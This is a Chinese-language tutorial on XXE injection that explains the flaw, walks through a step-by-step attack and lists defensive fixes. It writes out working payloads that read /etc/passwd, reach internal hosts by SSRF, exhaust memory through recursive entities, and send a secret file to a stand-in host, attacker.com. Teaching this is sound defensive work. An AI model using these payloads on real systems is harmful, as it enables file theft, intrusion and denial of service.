XXE(XML外部实体注入)漏洞与防护
字数 1019 2025-11-03 12:22:58
XXE(XML外部实体注入)漏洞与防护
描述
XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞。当应用程序解析用户提交的XML数据时,若未禁用外部实体加载,攻击者可通过构造恶意XML实体,读取服务器文件、发起SSRF攻击或导致拒绝服务。漏洞常出现在Web服务、API或文档解析功能中。
知识要点
- XML基础结构:XML文档可定义实体(即数据单元),例如
<!ENTITY name "value">。 - 外部实体:通过
SYSTEM关键字引用外部资源,如<!ENTITY ext SYSTEM "file:///etc/passwd">。 - 危险操作:若XML解析器将外部实体替换为实际内容并返回,则可能导致信息泄露。
漏洞原理分步解析
步骤1:正常XML解析场景
假设一个Web应用接受XML输入并返回解析结果:
<!-- 用户提交的合法XML -->
<data>
<name>John</name>
</data>
服务器解析后返回:Hello John。
步骤2:攻击者注入恶意外部实体
攻击者提交以下XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
<name>&file;</name>
</data>
<!DOCTYPE>定义文档类型,声明一个名为file的外部实体,指向系统文件/etc/passwd。&file;在解析时会被替换为文件内容。
步骤3:漏洞触发结果
若服务器未过滤外部实体,响应可能包含文件内容:
<data>
<name>root:x:0:0:root:/root:/bin/bash...</name>
</data>
攻击者从而窃取敏感文件。
漏洞利用进阶场景
- 读取远程文件:通过
http://协议读取内网资源,如<!ENTITY ssrf SYSTEM "http://192.168.1.1/admin">。 - 拒绝服务攻击:利用递归实体展开耗尽内存(如“亿次笑脸攻击”):
<!ENTITY a "&b;&b;"> <!ENTITY b "&c;&c;"> <!ENTITY c "..."> - 外带数据(OOB XXE):当响应不直接返回数据时,通过DNS或HTTP请求将数据发送到攻击者服务器:
<!ENTITY % payload SYSTEM "file:///secret.txt"> <!ENTITY % oob "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%payload;'>">
防护措施
- 禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:设置
SAXParserFactory的FEATURE_SECURE_PROCESSING。
- PHP:
- 使用安全解析器:如Python的
defusedxml库自动防护XXE。 - 输入过滤:白名单验证XML结构,或使用JSON等更安全的数据格式。
- 最小权限原则:运行XML解析器的账户应无敏感文件访问权。
总结
XXE漏洞源于XML解析配置不当,通过严格控制外部实体加载、更新依赖库及规范数据格式可有效防护。